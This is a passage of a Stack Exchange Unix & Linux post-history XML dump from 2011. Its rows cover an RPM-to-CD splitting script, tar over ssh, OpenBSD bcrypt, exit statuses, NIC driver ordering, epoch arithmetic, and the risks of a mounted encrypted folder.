'no = 0' ||:&#xD;&#xA;      allFiles=()&#xD;&#xA;      # no points to the next free position in allFiles&#xD;&#xA;      # allFiles contains the constructed list&#xD;&#xA;      for p in &quot;$THIS_BASES_DIR/$BASE/$type&quot;/*.rpm; do&#xD;&#xA;          if [[ ! -e &quot;$p&quot; ]]; then&#xD;&#xA;    	  # fail on non-existent files&#xD;&#xA;    	  echo $&quot;Package file doesn't exist: &quot; &quot;$p&quot; &gt;&amp;2&#xD;&#xA;    	  return 1 &#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$ONLY_REAL_FILES&quot; == &quot;yes&quot; &amp;&amp; ! -f &quot;$p&quot; ]]; then&#xD;&#xA;    	  continue&#xD;&#xA;          fi&#xD;&#xA;          if [[ &quot;$DIFF_TO_BASE&quot; ]]; then&#xD;&#xA;              older_copy=&quot;$DIFF_TO_BASE/$type/${p##*/}&quot; # using shell param expansion instead of `basename' to speed up&#xD;&#xA;              if [[ -h &quot;$older_copy&quot; || -a &quot;$older_copy&quot; ]]; then&#xD;&#xA;    	      continue&#xD;&#xA;    	  fi&#xD;&#xA;          fi&#xD;&#xA;          allFiles[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      readonly -a allFiles&#xD;&#xA;    &#xD;&#xA;      # Splitting the list of all files into future disks:&#xD;&#xA;      # &#xD;&#xA;      local -a filesToEat allSizes&#xD;&#xA;      let 'no = 0' ||:&#xD;&#xA;      filesToEat=()&#xD;&#xA;      allSizes=($(getSize &quot;${allFiles[@]}&quot;))&#xD;&#xA;      readonly -a allSizes&#xD;&#xA;      # allSizes contains the sizes corrsponding to allFiles&#xD;&#xA;      # filesToEat hold the constructed list of files to put on the current disk&#xD;&#xA;      # no points to the next free position in filesToEat&#xD;&#xA;      # totalSize should hold the sum of the sizes &#xD;&#xA;      #  of the files already put into filesToEat;&#xD;&#xA;      #  it is set and reset externally.&#xD;&#xA;      for p in &quot;${allFiles[@]}&quot;; do &#xD;&#xA;          if (( totalsize + ${allSizes[$(( no ))]} &gt; CDVOLUME )); then&#xD;&#xA;    	  eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;              filesToEat=()&#xD;&#xA;              finishCD&#xD;&#xA;    	  startTypedCD&#xD;&#xA;    	fi&#xD;&#xA;          let &quot;totalsize += ${allSizes[$(( no ))]}&quot; ||:&#xD;&#xA;          filesToEat[$(( no++ ))]=&quot;$p&quot;&#xD;&#xA;      done&#xD;&#xA;      eatFiles &quot;${filesToEat[@]}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function eatFiles() {&#xD;&#xA;        #{ oldIFS=&quot;$IFS&quot;; IFS=$'\n'; echo &quot;$FUNCNAME: args: &quot; &quot;$*&quot; | head &gt;&amp;2;  IFS=&quot;$oldIFS&quot;; }&#xD;&#xA;        zeroDelimited &quot;$@&quot; | xargs -0 --no-run-if-empty \&#xD;&#xA;    	cp -s \&#xD;&#xA;    	--target-dir=&quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;/ \&#xD;&#xA;    	--&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function startTypedCD() {&#xD;&#xA;    #  set -x&#xD;&#xA;      mkdir -p &quot;$THIS_LAYOUTS_DIR/cd$(( cdN ))/$PREFIX/$type$DOT_SUFFIX&quot;&#xD;&#xA;      start_action $&quot; %s with %s&quot; &quot;$(( cdN ))&quot; &quot;$type&quot;&#xD;&#xA;    #  set +x&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    function finishCD() {&#xD;&#xA;([read more after line 454](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l454))&#xD;&#xA;&#xD;&#xA;Note that the `eatFiles` function prepares the layouts of the future disks as trees where the leaves are symlinks to the real files. So, it is meeting your requirement that you should be able to edit the layouts before burning. The `mkisofs` utility has an option to follow symlinks, which is indeed employed in the code of [my `mkiso` function](http://git.altlinux.org/srpms/d/distribute.git?p=distribute.git;a=blob;f=distribute/usr/bin/distribute;h=98e2be1c91bde3d5d509be0e3fcda2852cf9356f;hb=HEAD#l248).&#xD;&#xA;&#xD;&#xA;The presented script (which you can take and rewrite to your needs, of course!) follows the simplest idea: to sum the sizes of files (or, more precisely, packages in the case of `distribute`) just in the order they were listed, don't do any rearrangements.&#xD;&#xA;&#xD;&#xA;The &quot;Hitchhikers guide to Haskell&quot; takes the optimization problem more seriously and suggests program variants that would try to re-arrange the files smartly, in order for them to fit better on disks (and require less disks):&#xD;&#xA;&#xD;&#xA;&gt; Enough preliminaries already. let's go&#xD;&#xA;&gt; pack some CDs.&#xD;&#xA;&gt; &#xD;&#xA;&gt; As you might already have recognized,&#xD;&#xA;&gt; our problem is a classical one. It is&#xD;&#xA;&gt; called a **&quot;knapsack problem&quot;**&#xD;&#xA;&gt; ([google it up](http://www.google.com/search?q=knapsack+problem), if you don't know&#xD;&#xA;&gt; already what it is. There are more&#xD;&#xA;&gt; than 100000 links).&#xD;&#xA;&gt; &#xD;&#xA;&gt; let's start from the greedy solution...&#xD;&#xA;&#xD;&#xA;(read more in [Chapter 3](http://www.haskell.org/haskellwiki/Hitchhikers_guide_to_Haskell#Chapter_3:_Packing_the_knapsack_and_testing_it_with_class.2C_too_.28and_don.27t_forget_your_towel.21.29) and further.)&#xD;&#xA;&#xD;&#xA;### Other smart tools&#xD;&#xA;I've been told also that Debian uses a tool to make its distro CDs that is smarter than my `distribute` w.r.t. collections of packages: its results are nicer because it cares about inter-package dependencies and would try to make the collection of packages that gets on the first disk closed under dependencies, i.e., no package from the 1st disk should require a package from another disk (or at least, I'd say, the number of such dependencies should be minimized)." />
  <row Id="24826" PostHistoryTypeId="5" PostId="10323" RevisionGUID="d650d949-5eb1-4546-a970-36ce082d2d9a" CreationDate="2011-03-30T18:28:54.633" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [What does &amp;ldquo;-&amp;rdquo; mean as an argument to a command?](http://unix.stackexchange.com/questions/9361/what-does-mean-as-an-argument-to-a-command)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;When I use this command:&#xD;&#xA;&#xD;&#xA;      tar cf - /tmp | ssh test.com tar xf -&#xD;&#xA;&#xD;&#xA;What does the '-' mean? And is this the correct interpretation of the above command? tar the tmp directory and ssh the tarball to test.com and untar it." />
  <row Id="24827" PostHistoryTypeId="10" PostId="10323" RevisionGUID="9c45db87-4148-4964-833c-fbf7ad4c3542" CreationDate="2011-03-30T18:28:54.463" UserId="73" CloseReasonId="1" Text="[{&quot;Id&quot;:73,&quot;DisplayName&quot;:&quot;Michael Mrozek&quot;}]" />
  <row Id="24829" PostHistoryTypeId="5" PostId="5320" RevisionGUID="dd399033-7c2e-4454-93fe-895cc95a6ebc" CreationDate="2011-03-30T18:30:27.833" UserId="2362" Comment="added 846 characters in body" Text="*Gilles explained very well the evolution from piece to another [here][1], so I will cover the topic from more broad perspective and give some hints for further research.*&#xD;&#xA;&#xD;&#xA;**From Bazaars and Research Labs to Closed Blobs and Market-marginalized Groups that I think are not that marginal at all**&#xD;&#xA;&#xD;&#xA;The key term to play with evolution is power. If you are dependent on an OS, for example in the form of security updates, you are dependent on the software-manufacturer and hence it has power over you. It can decide to stop publishing security updates or do any evil that its license allows it to do. If the OS is closed, the users must feel helpless because they cannot fix problems on their own, perhaps shown in hypocriticical feelings such as `again the damn driver broken, XYZ's fault`. In the latter discussion, you can `s,OS,sofware,g` and it does not really lose its meaning about power-relationship, clearly some thing being timeless. &#xD;&#xA;&#xD;&#xA;I won't reinvent the damn wheel so please read about Bazaars, corporations and social-environmental-and-other problems below.&#xD;&#xA;&#xD;&#xA;**Start**&#xD;&#xA;&#xD;&#xA; 2. [Homebrew computer club before Apple and such things when things were open][2]&#xD;&#xA;&#xD;&#xA;**Ending, Now and Still Evolving**&#xD;&#xA;&#xD;&#xA; 1. [Amos Batto's essay explaining some reasons behind closing things (Internet Archieve article, cannot be found from Google easily)][3]&#xD;&#xA; 3. For visualizing the evolution, please, see the picture below from Wikipedia where things started from Bazaar (orange phase) and ended to red-green phase where things are still evolving or even chaotic. The picture is wrong or pro-Mimix-advertising in some points, n.b. comments. Please, read about the Mimix-Linux -turning point and differentiate the `marketing free`, `free-as-beer` and `free-as-speech` -- the debate [here][4]. Shortly, Mimix was not `free-as-free-speech` and Tanenbaum made money with it while Linus offered his OS with less restrictive license, very important years to understand so do not get misguided by some oddities in the picture. This crucial point later affected separate parties such as FreeBSD, Linux and Mimix -formation to their current form. Please, note that I don't call them with cohesive terms such as `&quot;open-source&quot;` because the term is getting misused.&#xD;&#xA; &#xD;&#xA; 5. When I used the term bazaar in the title, I really meant it. It is to some extent chaotic so it is hard to get a large picture but then again there are some very systematic groups. The one who can offer the most appropriate solution to current problem will get awarded and can sell his/her products on the market. Sometimes, a developer beats a huge 100 heads' dev teams and sometimes contrary. Torvards have drawn a good analogy with closed blob and open code (or equivalent in some email) to the science and alchemy. I think his point was that while alchemists are extinct in science, you can still find them in Software -area. He did not explain it much but my idea is that alchemists today exist in software engineering because it can be useful time-to-time, some practical situations require creative solutions. It is a bit like physicists used the sirac-delta-distribution over about 30years (according to my lecturer) before mathematicians agreed that it could be formulated in Mathematics, this phase may take some time. But do not underestimate the speculative frenzy in human instincts, it is surprising how many times I have seen people writing something &quot;new&quot;, finding it was already invented. Welcome back to the bazaar!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Culture, Money and Intellectual Capital**&#xD;&#xA;&#xD;&#xA; 4. The FOSS movement is not a marginal body, please, note that they do have their own things such as music ([here][6] or [here][7])and more-and-more hardware ([here][8]) -- if your media says something else or nothing, they are ignoramuses. The movement is more like a culture -- so the term movement is rather misleading -- with their own slants, habits and even past-times, perhaps hard to grasp the idea but more I get into it, the more I think it is but beware wanna-be-users -- it does no good get involved into meaningless debates about `free` and `closed` if the terms are not well-defined or documented like here. &#xD;&#xA; 5. I often find it stupid that people compare this decentralized thing to certain bureaucratic firms, not all of them, because the goal of many innovators per se is many time to have fun instead to create money. So the question like `&quot;do they get paid?&quot;` is a bit arrogant, did you get paid to be a roman or do you now get paid to be XYZ-citizen? Probably not or perhaps -- with a successful endeavor -- you need to wisely choose your camp as always. There are however other important things, such as knowledge, responsibility and co-operation, sometimes hard to measure in $. Is it actually called IC with business people? If so, you may get important skills by engaging to some project, an asset highly appreciated with knowledgeable firms -- but again seen too much wanna-be-reinventing-the-wheel-code so do good research before getting too much involved.  &#xD;&#xA;&#xD;&#xA; 6. If you want to know how to get `&quot;paid&quot;` with this field. I would suggest to research about risk-reward -relationship, perhaps in Money.SO. The unix tools are like science, they are very liberal and allow you to do many things. It depends on the user whether you get paid or not. I think to get paid you need to get into some risky projects like time-consuming/hard/ignored. There is no easy way to get paid anywhere. Why would there be? If there was an easy way, the markets were not efficient. The reason why some big corps get paid is that they have taken huge risks and loans and now get rewarded, sometimes their actions are evil and they may get punished. But for an individual, I suggest a slow steady advancing. To understand why think about unix's early history about research labs, a lot of slow monotone working and prototyping.&#xD;&#xA;&#xD;&#xA;![alt text][5]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**Wanna know more?**&#xD;&#xA;&#xD;&#xA;Your questions have too many confusions to attack them easily, such as presupposition about `hierarchy` that ignores the idea about chaos and ambiguous terms such as `Windows` -- dev branch or branding? And the term `from Unix` in the title tastes too much appealing-to-populism-in-Unix-quesion-site. It is hard to say how `/dev/null` such as W. and other closed things evolved because we don't know them, except speculation! People who know cannot speak. The source is primary, the rest is secondary. Be sure which blindfolds, i.e. search engine, you use for this topic, many valuable articles are dumped with irrelevant information as the case with the above removed article. As a starting point, you could try some links offered above.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/3196/evolution-of-operating-systems-from-unix/3202#3202&#xD;&#xA;  [2]: http://opencollector.org/history/homebrew/index.html&#xD;&#xA;  [3]: http://web.archive.org/web/20070613114853/http://www.ciber-runa.net/guide/BetterUpgrade--ActivistGuide.html#Software&#xD;&#xA;  [4]: http://www.dina.dk/~abraham/Linus_vs_Tanenbaum.html&#xD;&#xA;  [5]: http://i.imgur.com/JvOTq.png&#xD;&#xA;  [6]: http://www.openbsd.org/lyrics.html&#xD;&#xA;  [7]: http://en.wikipedia.org/wiki/Plaid_Tongued_Devils&#xD;&#xA;  [8]: http://www.freeduino.org/" />
  <row Id="24830" PostHistoryTypeId="2" PostId="10326" RevisionGUID="4a38b5a4-c821-48f0-a9e3-a64bf60961df" CreationDate="2011-03-30T18:48:59.870" UserId="5664" Text="http://codahale.com/how-to-safely-store-a-password/&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;with what does OpenBSD store the password by default?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;They say bcrypt is way more secure then hashing. I googled' it and obsd supports bcrypt, but does it use it by default?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="24831" PostHistoryTypeId="1" PostId="10326" RevisionGUID="4a38b5a4-c821-48f0-a9e3-a64bf60961df" CreationDate="2011-03-30T18:48:59.870" UserId="5664" Text="Does OpenBSD use bcrypt by default?" />
  <row Id="24832" PostHistoryTypeId="3" PostId="10326" RevisionGUID="4a38b5a4-c821-48f0-a9e3-a64bf60961df" CreationDate="2011-03-30T18:48:59.870" UserId="5664" Text="éopenbsdà" />
  <row Id="24833" PostHistoryTypeId="2" PostId="10327" RevisionGUID="772576a9-7655-4316-b6fd-dac284acbd99" CreationDate="2011-03-30T18:58:47.230" UserId="885" Text="&lt;sub&gt;I'll post this as an answer so that there's some kind of resolution if this turns out to be the issue.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;An exit status of 0 means a normal exit from a successful program. An [exiting program](http://pubs.opengroup.org/onlinepubs/009695399/functions/exit.html) can choose any integer between 0 and 255 as its exit status. Conventionally, programs use small values. Values 126 and above are used by the shell to report special conditions, so it's best to avoid them.&#xD;&#xA;&#xD;&#xA;At the C API level, programs [report a 16-bit status¹](http://pubs.opengroup.org/onlinepubs/009695399/functions/wait.html) that encodes both the program's exit status and the signal that killed it, if any.&#xD;&#xA;&#xD;&#xA;In the shell, a [command's exit status](http://pubs.opengroup.org/onlinepubs/009695399/utilities/xcu_chap02.html#tag_02_08_02) (saved in `$?`) conflates the actual exit status of the program and the signal value: if a program is killed by a signal, `$?` is set to a value greater than 128 (on every unix I know, this value is 128 plus the signal number).&#xD;&#xA;&#xD;&#xA;In particular, if `$?` is 0, your program exited normally.&#xD;&#xA;&#xD;&#xA;¹ &lt;sub&gt; roughly speaking &lt;/sub&gt;&#xD;&#xA;" />
  <row Id="24834" PostHistoryTypeId="2" PostId="10328" RevisionGUID="4fd358e7-a2fc-47df-bf58-90308da5e226" CreationDate="2011-03-30T19:01:19.973" UserId="3001" Text="From: [http://www.openbsd.org/papers/bcrypt-paper.pdf][1]&#xD;&#xA;&#xD;&#xA;    We have implemented bcrypt and deployed it as part&#xD;&#xA;    of the OpenBSD operating system. Bcrypt has been&#xD;&#xA;    the default password scheme since OpenBSD 2.1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.openbsd.org/papers/bcrypt-paper.pdf" />
  <row Id="24835" PostHistoryTypeId="5" PostId="10299" RevisionGUID="bcea5b18-60a8-40ff-b9c4-e51d7c63c3c4" CreationDate="2011-03-30T19:18:44.967" UserId="6136" Comment="added 207 characters in body" Text="I am answering to my own question now because I finally found a workaround for this problem.&#xD;&#xA;&#xD;&#xA;I found out that it is possible to reorder the devices by unloading the drivers and then loading them in correct order.&#xD;&#xA;&#xD;&#xA;First method (bruteforce):&#xD;&#xA;-------------&#xD;&#xA;&#xD;&#xA;So the first method I came up with was simple to bruteforce the driver reload with init.d script.&#xD;&#xA;&#xD;&#xA;Following init script is tailored for Debian 6.0 but the same principle should work on almost any distribution using proper init.d scripts.&#xD;&#xA;&#xD;&#xA;    #!/bin/sh -e&#xD;&#xA;    &#xD;&#xA;    ### BEGIN INIT INFO&#xD;&#xA;    # Provides:          reorder-nics&#xD;&#xA;    # Required-Start:&#xD;&#xA;    # Required-Stop:&#xD;&#xA;    # Default-Start:     S&#xD;&#xA;    # Default-Stop:&#xD;&#xA;    # Short-Description: Reloads the nics in correct order&#xD;&#xA;    ### END INIT INFO&#xD;&#xA;    &#xD;&#xA;    #&#xD;&#xA;    # This script should reload the nic drivers in corrected order.&#xD;&#xA;    # Basically it just unloads and then loads the drivers in different order.&#xD;&#xA;    #&#xD;&#xA;    &#xD;&#xA;    echo &quot;Reloading NICs!&quot;&#xD;&#xA;    &#xD;&#xA;    # unload the drivers&#xD;&#xA;    modprobe -r driver_0        # eth0 nic interface&#xD;&#xA;    modprobe -r driver_1        # eth1 nic interface&#xD;&#xA;    &#xD;&#xA;    # load the drivers in corrected order&#xD;&#xA;    modprobe driver_1&#xD;&#xA;    modprobe driver_0&#xD;&#xA;    &#xD;&#xA;    #EOF&#xD;&#xA;&#xD;&#xA;Then the script must be added to proper runlevel directory. This can be done easily on Debian with &quot;*update-rc.d*&quot; command. For example: `update-rc.d reorder-nics start S`&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;&#xD;&#xA;Second method (Better I think):&#xD;&#xA;-------------&#xD;&#xA;I also found a bit more elegant way (at least for Debian &amp; Ubuntu systems).&#xD;&#xA;&#xD;&#xA;First Make sure that kernel doesnt automatically load the NIC drivers. This can be done by creating a blacklist file in **`/etc/modprobe.d/`**. I created a file named &quot;`disable-nics.conf`&quot;. Note that files in `/etc/modprobe.d/` must have `.conf` suffix. Also naming modules in `/etc/modprobe.d/blacklist.conf` do not affect autoloading of modules by the kernel so you have to make your own file.&#xD;&#xA;&#xD;&#xA;    # Disable automatic loading of kernel driver modules&#xD;&#xA;    # Disable NIC drivers&#xD;&#xA;&#xD;&#xA;    blacklist driver_0     # eth0 by default&#xD;&#xA;    blacklist driver_1     # eth1 by default&#xD;&#xA;&#xD;&#xA;Then run '*depmod -ae*' as root&#xD;&#xA;&#xD;&#xA;Recreate your initrd with '*update-initramfs -u*'&#xD;&#xA;&#xD;&#xA;And finally add the driver names in corrected order into **/etc/modules** file.&#xD;&#xA;&#xD;&#xA;    # /etc/modules: kernel modules to load at boot time.&#xD;&#xA;    #&#xD;&#xA;    # This file contains the names of kernel modules that should be loaded&#xD;&#xA;    # at boot time, one per line. Lines beginning with &quot;#&quot; are ignored.&#xD;&#xA;    # Parameters can be specified after the module name.&#xD;&#xA;    &#xD;&#xA;    # drivers in wanted order&#xD;&#xA;    driver_1    # this one should be loaded as eth0&#xD;&#xA;    driver_0    # this one should be loaded as eth1&#xD;&#xA;&#xD;&#xA;Changes should come in effect after the next boot.&#xD;&#xA;&#xD;&#xA;Reboot is not necessary though, it's easy to switch the devices with following command (as root ofcourse):&#xD;&#xA;&#xD;&#xA;    modprobe -r driver_0; modprobe -r driver_1; modprobe driver_1; modprobe driver_0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-----&#xD;&#xA;Some usefull links I found while searching the solution:&#xD;&#xA;&#xD;&#xA;* http://www.macfreek.nl/mindmaster/Logical_Interface_Names&#xD;&#xA;* http://wiki.debian.org/KernelModuleBlacklisting&#xD;&#xA;* http://www.science.uva.nl/research/air/wiki/LogicalInterfaceNames&#xD;&#xA;" />
  <row Id="24836" PostHistoryTypeId="2" PostId="10329" RevisionGUID="8783a561-9a84-415a-92b8-a044f471352d" CreationDate="2011-03-30T20:13:00.707" UserId="2504" Text="Sorry for the lame question&#xD;&#xA;&#xD;&#xA;How many minutes have passed since the Unix Epoch ? It should be January 1, 1970 ?&#xD;&#xA;&#xD;&#xA;Let's say approximately until 1 Jan 2011... 5 865 696 000 minutes ?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24837" PostHistoryTypeId="1" PostId="10329" RevisionGUID="8783a561-9a84-415a-92b8-a044f471352d" CreationDate="2011-03-30T20:13:00.707" UserId="2504" Text="How many minutes have passed since the Unix Epoch ?" />
  <row Id="24838" PostHistoryTypeId="3" PostId="10329" RevisionGUID="8783a561-9a84-415a-92b8-a044f471352d" CreationDate="2011-03-30T20:13:00.707" UserId="2504" Text="éunixà" />
  <row Id="24839" PostHistoryTypeId="2" PostId="10330" RevisionGUID="07af40e2-3c03-4c2e-82d5-bf1a77846890" CreationDate="2011-03-30T20:19:48.390" UserId="6175" Text="    #!/bin/bash&#xD;&#xA;&#xD;&#xA;    # Minutes since Epoch until now:&#xD;&#xA;    ((minutes=$(date +%s)/60))&#xD;&#xA;&#xD;&#xA;    # Minutes since Epoch until Jan 1 2011:&#xD;&#xA;    ((minutes=$(date -d 'Jan 1 2011' +%s)/60))&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24840" PostHistoryTypeId="6" PostId="10329" RevisionGUID="be662128-df5c-4df5-babf-68fddd3e32d3" CreationDate="2011-03-30T20:24:21.307" UserId="885" Comment="edited tags" Text="édateà" />
  <row Id="24841" PostHistoryTypeId="2" PostId="10331" RevisionGUID="cc545e54-da13-44d1-a2b6-c312477fb046" CreationDate="2011-03-30T20:49:38.510" UserId="29" Text="As I understand it, the iPhone will pop up some options on a Windows computer to update the system when you plug it into the computer. Honestly, I don't own an iPhone, but my friend wants to use my computer to update hers, because it's not receiving data properly. So is it possible for me to mount the phone and push some data to it? or otherwise update it? only relevant looking link I found via google was suggesting a VM, which more than I want to do. Tutorial links are of course welcome. Also please advise if there's a decent chance doing this this way could brick the phone." />
  <row Id="24842" PostHistoryTypeId="1" PostId="10331" RevisionGUID="cc545e54-da13-44d1-a2b6-c312477fb046" CreationDate="2011-03-30T20:49:38.510" UserId="29" Text="How can I update the OS on an Iphone on a Linux machine" />
  <row Id="24843" PostHistoryTypeId="3" PostId="10331" RevisionGUID="cc545e54-da13-44d1-a2b6-c312477fb046" CreationDate="2011-03-30T20:49:38.510" UserId="29" Text="élinuxàéiphoneà" />
  <row Id="24844" PostHistoryTypeId="2" PostId="10332" RevisionGUID="488a2e1f-3818-4283-99ad-959347cfe310" CreationDate="2011-03-30T20:54:09.523" UserId="3355" Text="Does anyone know why the ACPI namespace keeps changing?  I had a script a while back on a Red Hat system which read the CPU temperature from '/proc/acpi/thermal_zone/CPU1'.  Then (on the exact same hardware), this changed to '../CPU0'?  Now I have new (but similar hardware) and relatively same distro (except for a few drivers here and there) and the '../CPU0' or '../CPU1' have disappeared? It now only has '/proc/acpi/thermal_zone/TZ00' and '/proc/acpi/thermal_zone/TZ01'?&#xD;&#xA;&#xD;&#xA;Is this even the CPU thermal? Or is it for something else?&#xD;&#xA;&#xD;&#xA;I know most will say, read the ACPI docs... but that's beyond the point.  Why and who keeps changing the namespace?&#xD;&#xA;&#xD;&#xA;I've been using Linux since about '97 now, and I'm seriously fed up of EVERYTHING that keeps changing on me.  They talk about 'cheap' Total Cost of Ownwership?  Yah, right!!!" />
  <row Id="24845" PostHistoryTypeId="1" PostId="10332" RevisionGUID="488a2e1f-3818-4283-99ad-959347cfe310" CreationDate="2011-03-30T20:54:09.523" UserId="3355" Text="Why ACPI Namespace keeps changing" />
  <row Id="24846" PostHistoryTypeId="3" PostId="10332" RevisionGUID="488a2e1f-3818-4283-99ad-959347cfe310" CreationDate="2011-03-30T20:54:09.523" UserId="3355" Text="élinuxàéacpià" />
  <row Id="24847" PostHistoryTypeId="5" PostId="10254" RevisionGUID="cb29877a-d133-44c6-9819-ca663454a077" CreationDate="2011-03-30T20:55:20.187" UserId="6136" Comment="deleted 214 characters in body" Text="Is there any way to swap network interfaces (*eth1* &lt;-&gt; *eth0*) after system installation.&#xD;&#xA;&#xD;&#xA;My brand new Debian 6.0 install assigned PCI network card as &quot;*eth0*&quot; and motherboards integrated network device as &quot;*eth1*&quot; by default. The problem is I want to use the integrated device as default (*eth0*) network interface.&#xD;&#xA;&#xD;&#xA;I already edited :&#xD;&#xA;&#xD;&#xA;&gt; **/etc/udev/rules.d/70-persistent-net.rules**&#xD;&#xA;&#xD;&#xA;to swap the names and everything seems to be ok and network is working but programs are still trying to use the PCI network card (which is now &quot;*eth1*&quot;) as the default interface. For example *iftop* now tries to use &quot;*eth1*&quot; as default device as it used &quot;*eth0*&quot; before the swap.&#xD;&#xA;&#xD;&#xA;Is this purely a software problem as the applications are trying to use the first found device as a default device despite their interface naming or is there any way to fix this by configuring OS?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*edit:* I wrote a small app to print out iflist and the PCI device (*eth1*) came up before &quot;*eth0*&quot;. Any ideas how to swap the device order.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;*edit:* I found a [**thread**][1] about the same problem and I tried everything they suggested and none of the solutions are working except for swapping the names &quot;virtually&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.mail-archive.com/debian-isp@lists.debian.org/msg13466.html" />
  <row Id="24848" PostHistoryTypeId="25" PostId="10329" RevisionGUID="9a6ce8aa-849d-4add-b4b5-edb82bc2d820" CreationDate="2011-03-30T21:00:20.807" Comment="http://twitter.com/#!/StackUnix/status/53199906160128000" />
  <row Id="24849" PostHistoryTypeId="2" PostId="10333" RevisionGUID="d81c8384-f1f3-4a63-b296-6c9e54092b0a" CreationDate="2011-03-30T21:01:19.727" UserId="4069" Text="[I was looking at this](http://www.debian-administration.org/articles/204) and ecryptfs seems cool. I'd like to use it on my server to encrypt git pushes. I dont want to ssh in everytime to mount/unmount the encrypted folder. However once in a while when i reboot or whatever it is fine.&#xD;&#xA;&#xD;&#xA;I like the idea that someone at my provider cant see my folder when scanning through a bunch of harddrives but is it relatively safe that the folder is always mounted? I dont think the password would be in memory plaintext? nor can someone connect to my server due to it being on the network and be able to access files? (the enc/prv folder would be 700)&#xD;&#xA;&#xD;&#xA;Do i really have anything to worry about if i leave it mounted all the time? My server is debian 6 (squeeze) if thats interesting.&#xD;&#xA;" />
  <row Id="24850" PostHistoryTypeId="1" PostId="10333" RevisionGUID="d81c8384-f1f3-4a63-b296-6c9e54092b0a" CreationDate="2011-03-30T21:01:19.727" UserId="4069" Text="Is it safe to leave a enc folder mounted?" />
  <row Id="24851" PostHistoryTypeId="3" PostId="10333" RevisionGUID="d81c8384-f1f3-4a63-b296-6c9e54092b0a" CreationDate="2011-03-30T21:01:19.727" UserId="4069" Text="ésecurityà" />
  <row Id="24852" PostHistoryTypeId="5" PostId="10332" RevisionGUID="0c159da5-1efe-47de-b2d1-3b551219a155" CreationDate="2011-03-30T21:03:42.380" UserId="3355" Comment="deleted 104 characters in body" Text="Does anyone know why the ACPI namespace keeps changing?  I had a script a while back on a Red Hat system which read the CPU temperature from '/proc/acpi/thermal_zone/THRM'.  Now I have a new (but similar hardware) and relatively same distro (except for a few drivers here and there) and it has changed to '/proc/acpi/thermal_zone/TZ00' and '/proc/acpi/thermal_zone/TZ01'?&#xD;&#xA;&#xD;&#xA;Is this even the CPU thermal? Or is it for something else?&#xD;&#xA;&#xD;&#xA;I know most will say, read the ACPI docs... but that's beyond the point.  Why and who keeps changing the namespace?&#xD;&#xA;&#xD;&#xA;I've been using Linux since about '97 now, and I'm seriously fed up of EVERYTHING that keeps changing on me.  They talk about 'cheap' Total Cost of Ownwership?  Yah, right!!!" />
  <row Id="24855" PostHistoryTypeId="2" PostId="10335" RevisionGUID="7c8ba10b-670d-4ed0-a21e-22cad043e59d" CreationDate="2011-03-30T22:07:16.540" UserId="885" Text="Leaving and encrypted filesystem mounted increase the attack surface, i.e., there are a few more places where an attacker can exploit a vulnerability and get access to your files.&#xD;&#xA;&#xD;&#xA;* If the attacker can run code as your user, she can access your files. If the encrypted filesystem wasn't mounted, she wouldn't have direct access to your files, but there's a good chance she'd be able to inject some kind of trojan (e.g. a keylogger) and obtain your passphrase eventually.&#xD;&#xA;* If the attacker can read the memory of your processes, she gets the secret key, which she can use to decrypt an offline copy of the files if she has one (e.g. from a stolen backup). Your password doesn't remain in memory (hopefully, I haven't checked the code), but the secret key has to. If the filesystem wasn't mounted, she wouldn't get anything. But if she could read the memory of the mount process when it's mounting the filesystem, she would get the secret key then.&#xD;&#xA;* If the attacker can read files with your user's permissions, she gets the plaintext. If the filesystem was not mounted, she would only get the ciphertext and the passphrase-encrypted secret key (which she could try to brute force with a password cracker).&#xD;&#xA;&#xD;&#xA;Overall the increase in the attack surface is slight. Encfs can automatically unmount the filesystem after a period of inactivity (`encfs -i MINUTES`) (where activity means open files). It's a good idea to use this if there's a risk that the computer will be physically stolen (mostly relevant for laptops). Otherwise there is only a small gain, because most attack vectors let the attacker do worse things anyway.&#xD;&#xA;" />
  <row Id="24856" PostHistoryTypeId="6" PostId="10333" RevisionGUID="e4c30fa6-6350-4499-97f3-18b6407d9626" CreationDate="2011-03-30T22:07:41.517" UserId="885" Comment="edited tags" Text="ésecurityàéfilesystemsàéencryptionàéencfsà" />
